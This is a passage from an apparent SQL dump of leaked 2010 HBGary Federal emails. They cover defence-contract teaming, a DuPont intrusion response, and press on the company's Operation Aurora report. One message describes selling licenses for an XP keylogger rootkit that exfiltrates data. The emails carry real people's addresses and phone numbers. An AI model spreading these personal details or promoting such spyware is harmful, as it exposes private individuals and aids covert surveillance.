for a technical discussion early next week?\r\n\r\nWe are ready to get started on the proposal.  Looking at a GD/HBGary team going forward with the potential to add Northrop or someone else if we see benefit, when we have our next discussion do you want to also discuss our teaming approach, who primes what, do some customer and competitive intelligence discussions, etc.  Since your the large contractor in the room do you have standard template teaming agreements we can use?\r\n\r\nI am just sitting here writing watching the snow come down.  So feel free to give me call.  I am free tomorrow as well.  Severe weather having wreaked turned my calendar upside down.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6983,'aaron_hbgary_com/6983.html'),(2427,'2010-02-10','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001116.M570055P3547Q2427.eml','\"Aaron Barr\" <aaron@hbgary.com>','Further discussion','\r\n\r\n\r\n\r\n\r\nFurther discussion\r\n\r\n\r\n\r\n\r\nWhen: Thursday, February 11, 2010 11:00 AM-12:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n',1118,'aaron_hbgary_com/1118.html'),(2428,'2010-02-10','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297001116.M777621P3547Q2428.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Dupont Task List v0.5','Team,Rich told me to get tactical with our tasks for this engagement.  I&#39;m attempting to map the SOW to the attached task list.  I&#39;m assuming we&#39;ll have two partners with us and have assigned them tasks.  This is just version 0.5 but any input you can provide will be helpful.  I have many technical tasks to still add.  \r\nI have to go shovel for a few minutes but if provide feedback I&#39;ll incorporate it tonight.  Thanks.--Phil\r\n',6669,'aaron_hbgary_com/6669.html'),(2429,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001116.M977215P3547Q2429.eml','\"Penny Leavy\" <penny@hbgary.com>','Re: Contact Info - more to come','Hey Penny,\r\n\r\nAre u really coming?  You know they have stopped snow plowing the roads b/c of hazardous conditions?  Good on ya for braving the weather.  Its just snow right?\r\n\r\nAs to the DARPA BAA I would not bring them up.  We are getting down the road on the teaming arrangements and I don\'t want to throw another party into the mix.  To this particular problem I don\'t think BB brings much to the table.\r\n\r\nAaron\r\n\r\n\r\nOn Feb 10, 2010, at 3:11 PM, Penny Leavy wrote:\r\n\r\n> I think the plan is to have Phil do most of it with Rich as the person\r\n> overseeing it.  Ideally we\'ll be able to remove ourselves and work\r\n> with partners.  Rich has some individuals that can work on this if PwC\r\n> or Foundstone can\'t.  BTW, coming to DC tomorrow morning to meet with\r\n> Blackbird\r\n> \r\n> On Wed, Feb 10, 2010 at 10:22 AM, Aaron Barr  wrote:\r\n>> Penny,\r\n>> My plan is to shadow at some level Rich/Phil on the execution of the Dupont\r\n>> IR, learn, document.  In talking with both RIch and Phil today most of these\r\n>> is non-standardized, individual best practices.  To maximize effectiveness\r\n>> and costs/margin we will want to proceduralize this as much as possible, and\r\n>> utilize the strength of team mates like PwC and Foundstone, especially for\r\n>> the bodies and forensics, chain of custody type work.\r\n>> Is the plan to have Rich do pretty much all of it with little help from\r\n>> Phil?  I would really like to benefit from watching them both at some level,\r\n>> is that possible?\r\n>> Aaron\r\n>> On Feb 10, 2010, at 1:19 PM, Penny Leavy wrote:\r\n>> \r\n>> If they register the deal they get 30% so you need to make sure they\r\n>> understand this is already being worked\r\n>> \r\n>> On Wed, Feb 10, 2010 at 10:13 AM, Bob Slapnik  wrote:\r\n>>> \r\n>>> Rich,\r\n>>> \r\n>>> Hmmmm.  McAfee and Verdaysis competing on DDNA?\r\n>>> \r\n>>> I don\'t want to piss off Verdasys, but DuPont initiated this dialogue\r\n>>> about ePO, not us.\r\n>>> \r\n>>> It will be interesting to see if McAfee rep comes at us requesting a cut\r\n>>> on the deal.\r\n>>> \r\n>>> Bob\r\n>>> \r\n>>> On Wed, Feb 10, 2010 at 12:32 PM, Rich Cummings  wrote:\r\n>>>> \r\n>>>> FYI - Mcafee guy below just called and said that Dupont was interested in\r\n>>>> hearing about the DDNA integration with ePO.   They are going on site to\r\n>>>> Dupont next week as they are presenting the future of Mcafee epo etc.\r\n>>>> Dupont specifically asked them to have someone on standby to discuss the\r\n>>>> integration and partnership.  I’m going to get this guy an evaluation\r\n>>>> version and set him up with Phil to go through the product on Monday.\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> He will be in Delaware on Wednesday presenting to Dupont.  I said that we\r\n>>>> have spoken with Dupont and they had tested DDNA already.  I didn’t say\r\n>>>> anything else to them.\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> RC\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> From: Jason_Winters@McAfee.com [mailto:Jason_Winters@McAfee.com]\r\n>>>> Sent: Wednesday, February 10, 2010 12:05 PM\r\n>>>> To: rich@hbgary.com\r\n>>>> Subject: Contact Info - more to come\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> Thanks\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> Jason M. Winters\r\n>>>> \r\n>>>> Enterprise Systems Engineer | McAfee\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> Tele: +1 410.695.4211 | Email: jason_winters@mcafee.com\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> The information contained in this email message may be privileged,\r\n>>>> confidential and protected from disclosure. If you are not the intended\r\n>>>> recipient, any review, dissemination, distribution or copying is strictly\r\n>>>> prohibited. If you have received this email message in error, please notify\r\n>>>> the sender by reply email and delete the message and any attachments.\r\n>>>> \r\n>>>> \r\n>>> \r\n>>> \r\n>>> \r\n>>> --\r\n>>> Bob Slapnik\r\n>>> Vice President\r\n>>> HBGary, Inc.\r\n>>> 301-652-8885 x104\r\n>>> bob@hbgary.com\r\n>> \r\n>> \r\n>> \r\n>> --\r\n>> Penny C. Leavy\r\n>> HBGary, Inc.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> \r\n> \r\n> -- \r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7634,'aaron_hbgary_com/7634.html'),(2430,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001117.M177232P3547Q2430.eml','\"Phil Wallisch\" <phil@hbgary.com>','Re: Dupont Task List v0.5','Phil,\r\n\r\nSounds like maybe this has already been solved.  I talked to Penny earlier about how I plan to side as a shadow and watch and learn and was hoping to watch both you and Rich and she said she thought you would handle the detail stuff.\r\n\r\nAnyway...look forward to it.\r\n\r\naaron\r\n\r\n\r\nOn Feb 10, 2010, at 5:25 PM, Phil Wallisch wrote:\r\n\r\n> Team,\r\n> \r\n> Rich told me to get tactical with our tasks for this engagement.  I\'m attempting to map the SOW to the attached task list.  I\'m assuming we\'ll have two partners with us and have assigned them tasks.  This is just version 0.5 but any input you can provide will be helpful.  I have many technical tasks to still add.  \r\n> \r\n> I have to go shovel for a few minutes but if provide feedback I\'ll incorporate it tonight.  Thanks.\r\n> \r\n> --Phil\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14151,'aaron_hbgary_com/14151.html'),(2431,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001121.M294645P3547Q2431.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Further discussion','Great news on the support to go forward with the IRAD.  Sorry I have been a bit out of touch but Penny has been putting on the pressure to bring in funds so I have been busy chasing immediate work.  The long term benefit of what we are putting together will but HBGary Federal solidly on the map, but I need to make sure we are around to reep the benefits.\r\n\r\nI would have tried to work with you and the NG system on the OSI RFP but the due date is 22 Feb. and who knows how long it would have taken you to break that through the NG system.  Once we get something built we will be able to really push that out through many fronts.\r\n\r\nI know what your thoughts are on partnership on this with HBGary Federal but do you get a sense on how the larger ES feels?  I would like to be your partner side by side in this but I realize its NG money.\r\n\r\nLike you I have been in regular conversation with EndGames, Palantir, Netwitness, and all are still very eager to get this party started.  HBGary and Palantir are starting to work the integration, Endgames is supposed to be sending me some aurora data, but on the malware stuff.  I guess they have a bunch of external aurora information but were not willing to share it with us at this moment, they said maybe in a bit.  Maybe you can have diffferent success as the \"big\" integrator.  Definatley want to sit down and talk about the nuts and bolts going forward with the IRAD, etc.  Man really exciting.\r\n\r\nI would like to get you involved as my partner for Incident Response for our QRC gigs.  RIght now I am using foundstone and PwC.  Don\'t know what that would take, happen gradually over time.  We are going to do Duponts network next week.  They are pretty sure the chinese are all over their networks.  I am going down there to sit as a shadow and learn the ropes since Federal will be taking the lead for all of these.\r\n\r\nAttached is the AF OSI RFP.  We are a sub to MacB.  This is a huge contract vehicle and Northrop is on it, having stolen it from TASC.  It probably resides with DSD, maybe check with Bob Shows or Geb.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\nOn Feb 10, 2010, at 4:14 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n> When: Thursday, February 11, 2010 11:00 AM-12:00 PM (GMT-05:00) Eastern Time (US & Canada).\r\n> \r\n> Note: The GMT offset above does not reflect daylight saving time adjustments.\r\n> \r\n> *~*~*~*~*~*~*~*~*~*\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12237,'aaron_hbgary_com/12237.html'),(2432,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001121.M756510P3547Q2432.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','We are hitting all the press now.','http://www.itworld.com/security/96203/hbgary-releases-aurora-detection-tool\r\n\r\nhttp://www.pcworld.com/businesscenter/article/189056/hbgary_releases_aurora_detection_tool.html\r\n\r\nhttp://www.networkworld.com/news/2010/021010-hbgary-releases-aurora-detection.html?hpg1=bn\r\n\r\nhttp://www.loginby.com/itnews/hbgary-releases-aurora-detection-tool/\r\n\r\nhttp://scforum.info/index.php/topic,3770.msg9825.html\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7355,'aaron_hbgary_com/7355.html'),(2433,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001121.M970505P3547Q2433.eml','\"John Farrell\" <john@endgames.us>','Re: QosmoNote - Special ISS World MEA Edition - February 2010','wow google HBGary and Aurora and check the news.AaronOn Feb 10, 2010, at 2:22 PM, John Farrell wrote:has HB Gary released their Aurora report yet? i\'d like to see the final version.On Feb 10, 2010, at 1:55 PM, Aaron Barr wrote:Interesting. &nbsp;There is a guy from Qosmos that has been wanting to get togethe with me. &nbsp;We are going to get together Monday or Tuesday. &nbsp;I\'ll let you know how that goes.AaronOn Feb 10, 2010, at 1:48 PM, John Farrell wrote:aaron,&nbsp;here\'s another company who is leveraging the aurora attack for marketing purposes......JohnBegin forwarded message:From: \"theo@qosmos.com\" &lt;theo@qosmos.com&gt;Date: February 10, 2010 12:00:29 PM ESTTo: John Farrell &lt;john@endgames.us&gt;Subject: QosmoNote - Special ISS World MEA Edition - February 2010Reply-To: \"theo@qosmos.com\" &lt;theo@qosmos.com&gt;If you cannot read this e-mail,&nbsp;click here&lt;logo.jpg&gt;&lt;edito.jpg&gt;&lt;apps.jpg&gt;&lt;qosmostv.jpg&gt;&lt;try.jpg&gt;&lt;contact.jpg&gt;Cyber Security: Preventing Another Operation AuroraI am sure you have heard of “Operation Aurora”, the cyber attack conducted in December 2009 against Google and more than 20 other companies, including Adobe Systems, Juniper Networks, Rackspace, Yahoo, Symantec, Northrop Grumman and Dow Chemical.Technically, the principle of the attack was simple: 1) a malware was installed on a PC by a Trojan exploiting a vulnerability in Internet Explorer, and 2) a covert connection was made using a custom encrypted protocol, instead of the standard HTTPS protocol encrypted with SSL. The result: commercial off-the-shelf (COTS) cyber security solutions did not detect the attack… This is a stark reminder that COTS products are not effective at detecting a&nbsp;zero-day attack&nbsp;such as Operation Aurora.&nbsp;A second line of cyber protection is needed!Qosmos plays a key role in building this second line of defense. Our customers use Qosmos network intelligence technology to provide full traffic visibility to a custom-built cyber security solution. This custom solution acts as a second line of cyber protection (complementing COTS), and is able to detect and mitigate the most advanced threats – including zero-day attacks.In the case of Operation Aurora, a custom development based on Qosmos could have detected that abnormal traffic was flowing out of the network and the system could have been instructed to block the traffic, which would have stopped the attack. Voilà!&nbsp;In this issue of QosmoNote, you can read more about how Qosmos can help you build stronger cyber security and lawful interception solutions.You can also&nbsp;book a meeting&nbsp;with us to discuss during&nbsp;ISS World&nbsp;in Dubai, 23-25 February. Enjoy.Thibaut Bechetoille, Qosmos CEOApplication Spotlight: Cyber DefenseCommercial Off-The-Shelf (COTS) cyber security products are necessary but not sufficient to detect zero-day attacks and advanced threats. For the most sensitive networks, a second layer of cyber defense must be developed, in the form of a custom solution combining specific human expertise with network intelligence technology.Learn more about how Qosmos Network Intelligence building blocks can be used:Download updated Solution Brief on government cyber securityRead Press Release on Operation AuroraProduct Spotlight: ixMachine LI EditionQosmos ixMachine LI Edition probes intercept IP traffic at high throughputs and feed interception related information to third party LI management systems. The portfolio now includes IP probes for interception on IP or MAC address; AAA probes for interception on user identities provided by Radius or DHCP; email, VoIP and multi-service probes for interception of IP-based services such as Webmail or Instant Messaging.For more information,&nbsp;attend our ixMachine LI demonstration at ISS World in Dubai&nbsp;or access online resources:Download White paper: Next-Generation Lawful InterceptionRead Datasheet: ixM LI Edition probes&lt;tranche.jpg&gt;Meet Qosmos at&lt;iss_mea.jpg&gt;Book a meeting&lt;cybersec_tallinn.jpg&gt;Book a meetingQosmos Webcasts&lt;qosmos_webcast.jpg&gt;Network Intelligence Technology BriefCustomers&lt;Utimaco_Safeware_logo.jpg&gt;Utimaco chooses Qosmos to provide Network Intelligence for Lawful Intercept solutionCompany NewsOperation Aurora highlights network vulnerabilityCTO BlogCould you have used Qosmos to detect the Operation Aurora cyber attack?&lt;spacer.jpg&gt;Contact Us:&nbsp;Global Headquarters&nbsp;-&nbsp;US Office&nbsp;-&nbsp;APAC OfficeYou have received this e-mail because you are in contact with Qosmos as a valued customer or partner.&nbsp;Click here to&nbsp;unsubscribe\r\nJohn M. FarrellVice President, Federaljohn@endgames.us703.622.9025\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nJohn M FarrellVP Federal&nbsp;Endgame Systems75 5th Street Suite 208Atlanta, GA 30308john@endgames.us\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9173,'aaron_hbgary_com/9173.html'),(2434,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001122.M149149P3547Q2434.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Google HBGary and Aurora and check the news','We are all over the place.\r\n\r\nThis is the beginning of our future.  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3076,'aaron_hbgary_com/3076.html'),(2435,'2010-02-10','rich@hbgary.com','/aaron@hbgary.com/new/1297001122.M470746P3547Q2435.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: Dupont Task List v0.5','   Thanks for sending phil.  Ill add some and shoot it back over.  Sent from my Verizon Wireless BlackBerryFrom:  Phil Wallisch &lt;phil@hbgary.com&gt;\r\nDate: Wed, 10 Feb 2010 17:25:06 -0500To: Rich Cummings&lt;rich@hbgary.com&gt;; Aaron Barr&lt;aaron@hbgary.com&gt;; Ted Vera&lt;ted@hbgary.com&gt;; Bob Slapnik&lt;bob@hbgary.com&gt;Subject: Dupont Task List v0.5Team,Rich told me to get tactical with our tasks for this engagement.  I&#39;m attempting to map the SOW to the attached task list.  I&#39;m assuming we&#39;ll have two partners with us and have assigned them tasks.  This is just version 0.5 but any input you can provide will be helpful.  I have many technical tasks to still add.  \r\nI have to go shovel for a few minutes but if provide feedback I&#39;ll incorporate it tonight.  Thanks.--Phil\r\n\r\n',13198,'aaron_hbgary_com/13198.html'),(2436,'2010-02-10','\"The Intelligence Community (IC)\" <groups-noreply@linkedin.com>','/aaron@hbgary.com/new/1297001122.M679052P3547Q2436.eml','\"Aaron Barr\" <aaron@hbgary.com>','Request to join The Intelligence Community (IC)','\r\n\r\n  \r\n\r\n\r\n  \r\n    LinkedIn Groups\r\n  \r\n  \r\n    \r\n      \r\n        Group: The Intelligence Community (IC)\r\n        Subject: Request to join The Intelligence Community (IC)\r\n      \r\n      \r\n        \r\n            Thank you for your interest in joining the group. I have approved you membership. If I or Mission Support Agency can ever be of assistance please do not hesitate to contact me.  If you feel that a connection would be mutually beneficial please send me an invitation. \r\n \r\nSincerely,\r\nJohn Goodenow\r\nDirector of Operations\r\nMission Support Agency, LLC\r\n\r\nE-mail: johng@msausa.net\r\nwww.MissionSupportAgency.com\r\n          \r\n      \r\n    \r\n  \r\n	\r\n	  \r\n	    Go to the group &#187;\r\n    \r\n	\r\n	\r\n	\r\n	LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &copy;2010, LinkedIn Corporation.    \r\n	\r\n\r\n\r\n\r\n',15602,'aaron_hbgary_com/15602.html'),(2437,'2010-02-10','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297001122.M876919P3547Q2437.eml','greg@hbgary.com,penny@hbgary.com,aaron@hbgary.com','Re: Operation Aurora Report','Here is IDG Bob McMillan\'s story -- another nice job http://www.networkworld.com/news/2010/021010-hbgary-releases-aurora-detection.html?hpg1=bn\r\n&nbsp;\r\nIt is getting picked up by all the IDG pubs i.e. CSO, Network World, Industry Standard, etc.--- On Wed, 2/10/10, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: Re: Operation Aurora ReportTo: greg@hbgary.com, penny@hbgary.com, aaron@hbgary.comDate: Wednesday, February 10, 2010, 11:58 AM\r\n\r\n\r\n\r\n\r\n\r\nHere is the Dark Reading story. Kelly does a nice job here. She did, however,&nbsp;broaden her story&nbsp;to include other security experts i.e. Mandiant and Solera Networks. \r\nhttp://darkreading.com/vulnerability_management/security/attacks/showArticle.jhtml?articleID=222700786\r\n&nbsp;\r\nAlso, both report and inoculation shot getting nice pickup on Twitter. Karen&nbsp;&nbsp;--- On Wed, 2/10/10, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: Operation Aurora ReportTo: greg@hbgary.com, penny@hbgary.com, aaron@hbgary.comDate: Wednesday, February 10, 2010, 8:15 AM\r\n\r\n\r\n\r\n\r\n\r\nWe got our first story http://www.net-security.org/malware_news.php?id=1223\r\n&nbsp;\r\nI\'ve already tweeted about the report/free utility --\r\n&nbsp;\r\nwill keep you posted on additional coverage today.\r\n\r\n',14259,'aaron_hbgary_com/14259.html'),(2438,'2010-02-10','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297001123.M292440P3547Q2439.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Dupont Task List v0.5','Awesome.  I think it&#39;s good to keep playing out each phase in my head and then jotting down the tasks.  I&#39;m just waiting for Rich to say it&#39;s a go at this point before I sink even more hours in.\r\nOn Wed, Feb 10, 2010 at 5:33 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nPhil,\r\n\r\nSounds like maybe this has already been solved.  I talked to Penny earlier about how I plan to side as a shadow and watch and learn and was hoping to watch both you and Rich and she said she thought you would handle the detail stuff.\r\n\r\n\r\nAnyway...look forward to it.\r\n\r\naaron\r\n\r\n\r\nOn Feb 10, 2010, at 5:25 PM, Phil Wallisch wrote:\r\n\r\n&gt; Team,\r\n&gt;\r\n&gt; Rich told me to get tactical with our tasks for this engagement.  I&#39;m attempting to map the SOW to the attached task list.  I&#39;m assuming we&#39;ll have two partners with us and have assigned them tasks.  This is just version 0.5 but any input you can provide will be helpful.  I have many technical tasks to still add.\r\n\r\n&gt;\r\n&gt; I have to go shovel for a few minutes but if provide feedback I&#39;ll incorporate it tonight.  Thanks.\r\n&gt;\r\n&gt; --Phil\r\n&gt; &lt;DRAFT-Dupont Task Overview v0.5.xlsx&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',218,'aaron_hbgary_com/218.html'),(2439,'2010-02-10','ted@hbgary.com','/aaron@hbgary.com/new/1297001123.M80482P3547Q2438.eml','aaron@hbgary.com','Processes','\r\n\r\nI\'ve shared Processes\r\nMessage from ted@hbgary.com:\r\nI need a malware reverse engineering process for a proposal I&#39;m working on.  I can&#39;t seem to find an existing one, so I started this draft.  I could use some help filling in some more detail, especially for step 4.\r\nClick to open:\r\nProcesses\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',8219,'aaron_hbgary_com/8219.html'),(2440,'2010-02-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001124.M355803P3547Q2440.eml','\"Kevin Keathley\" <cybernigma@gmail.com>','Re: Responder 2.0 User Guide','Kevin,\r\n\r\nAttached is a ppt with a high-level malware RE process, hope it helps.\r\n\r\nTed\r\n\r\n\r\n\r\nOn Wed, Feb 10, 2010 at 4:52 PM, Kevin Keathley  wrote:\r\n> Thank you Ted.\r\n>\r\n> I\'m going through everything you sent me to get a better idea of how\r\n> to incorporate your company\'s uniqueness into my writeup.  Our prop\r\n> folks here will then be able to take that writeup and make it more\r\n> palatable, fitting into the overall story we are presenting.  I\r\n> believe we all have a lot to offer.  I\'ll fire back any questions I\r\n> come up with during the process.  I will be in a SCIF tomorrow most of\r\n> the day so I will not have access to my cell phone.  If you need\r\n> anything just leave a voice mail or e-mail me.  Even though I can\'t\r\n> bring in my phone I will still have internet access.  Go figure :-)\r\n>\r\n> -=[Kevin]=-\r\n>\r\n> On Wed, Feb 10, 2010 at 4:04 PM, Ted Vera  wrote:\r\n>> Kevin,\r\n>> Attached is the new user manual for responder 2.\r\n>>\r\n>> Ted\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal\r\n>> 719-237-8623\r\n>>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',8452,'aaron_hbgary_com/8452.html'),(2441,'2010-02-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001124.M637748P3547Q2441.eml','\"Slapnik Bob\" <bob@hbgary.com>,\"Slapnik Bob\" <bob@hbgary.com>','Cost','What are the license costs for HBGary rk platform if they want to use\r\nit on guardian for afisr?\r\n\r\nTed\r\n',12002,'aaron_hbgary_com/12002.html'),(2442,'2010-02-11','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001124.M854345P3547Q2442.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Cost','Ted,\r\n \r\nAre you asking about the rootkit for XP (kernel driver that hides in plain sight and is a keylogger that exfiltrates data) or are you asking about 12 Monkeys?\r\n \r\nWe&#39;ve sold licenses of the 1st one for $60k.  We haven&#39;t set a price on 12 Monkeys, but can.\r\n \r\nBob\r\nOn Wed, Feb 10, 2010 at 7:58 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nWhat are the license costs for HBGary rk platform if they want to useit on guardian for afisr?\r\nTed-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',13092,'aaron_hbgary_com/13092.html'),(2443,'2010-02-11','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297001125.M174304P3547Q2443.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Aurora','We could do a round two.  I&#39;m swamped under new work now.\r\n \r\n-Greg\r\nOn Wed, Feb 10, 2010 at 9:28 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nAfter some consideration and some research, I see there are 3 separate events that use some of the same framework as Aurora.  The summer event which used the PDF exploit and the Hydraq payload.  The Xmas event (actual Aurora) which use the IE6 exploit.  And then everything after the exploit was made public.\r\nI am of the opinion that the only government sponsored event was the Xmas event.  For the sole reason.  Who would be motivated to gain access to chinese government dissident email accounts.  Who would be motivated to plan an attack on Dec25-Jan4 and then erase all traces.\r\nI think it is plausible that after the Xmas event the exploit was release by the government in order to create a lot of noise and confusion.Maybe an equally important event to trace back to is the release of the exploit after Jan.5th.\r\nThoughts?Aaron\r\n',1417,'aaron_hbgary_com/1417.html'),(2444,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001125.M471932P3547Q2444.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Aurora','Something to keep in mind.  It looks like Northrop is going to get approval for their irad for a threat intelligence center.  We can work maybe some of this under irad.  I should know tomorrow but I think I will get two people funded to help develop the irad.\r\nGood press on te report.  When the palantir guy comes next week maybe use some of that time to categorize players andalware based on the timed events.AaronFrom my iPhone\r\nOn Feb 10, 2010, at 7:53 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:We could do a round two.  I&#39;m swamped under new work now.\r\n\r\n \r\n-Greg\r\nOn Wed, Feb 10, 2010 at 9:28 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nAfter some consideration and some research, I see there are 3 separate events that use some of the same framework as Aurora.  The summer event which used the PDF exploit and the Hydraq payload.  The Xmas event (actual Aurora) which use the IE6 exploit.  And then everything after the exploit was made public.\r\n\r\nI am of the opinion that the only government sponsored event was the Xmas event.  For the sole reason.  Who would be motivated to gain access to chinese government dissident email accounts.  Who would be motivated to plan an attack on Dec25-Jan4 and then erase all traces.\r\n\r\nI think it is plausible that after the Xmas event the exploit was release by the government in order to create a lot of noise and confusion.Maybe an equally important event to trace back to is the release of the exploit after Jan.5th.\r\n\r\nThoughts?Aaron\r\n\r\n',12267,'aaron_hbgary_com/12267.html'),(2445,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001125.M702493P3547Q2445.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Google HBGary and Aurora','We released the report this morning...getting lots of movement today.  Can\'t wait to put out more and better reports.  Love to come see the new digs if I can dig myself out.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12217,'aaron_hbgary_com/12217.html'),(2446,'2010-02-11','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297001126.M232991P3547Q2447.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Google HBGary and Aurora','Haha, seriously, this is just getting silly.\r\n\r\nGood to hear the report is going over well.  \r\n\r\nSee you next week.\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 10, 2010 8:49 PM\r\nTo: Matthew Steckman\r\nSubject: Google HBGary and Aurora\r\n\r\nWe released the report this morning...getting lots of movement today.  Can\'t wait to put out more and better reports.  Love to come see the new digs if I can dig myself out.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6586,'aaron_hbgary_com/6586.html'),(2447,'2010-02-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001126.M34728P3547Q2446.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Mandiant twitter post today','About the aurora article in dark reading  is classic.  Mandia was\r\nquoted. :)\r\n\r\n\r\n\r\n From my iPhone\r\n',1958,'aaron_hbgary_com/1958.html'),(2448,'2010-02-11','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001126.M515624P3547Q2448.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Accepted: Further discussion @ Thu Feb 11 11am - 12pm (brian.masterson@ngc.com)','\r\n\r\n\r\n\r\n\r\nRE: Accepted: Further discussion @ Thu Feb 11 11am - 12pm (brian.masterson@ngc.com)\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nWe also need to discuss the business case.&nbsp; I need to show what a potential ROI is.&nbsp; So, if we have a demo and it gets bought.&nbsp; What would the revenue look like?&nbsp; S/W licenses, system install, manning,&#8230;\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n-----Original Appointment-----\r\nFrom: aaron@hbgary.com [mailto:aaron@hbgary.com]\r\nSent: Wednesday, February 10, 2010 5:42 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Accepted: Further discussion @ 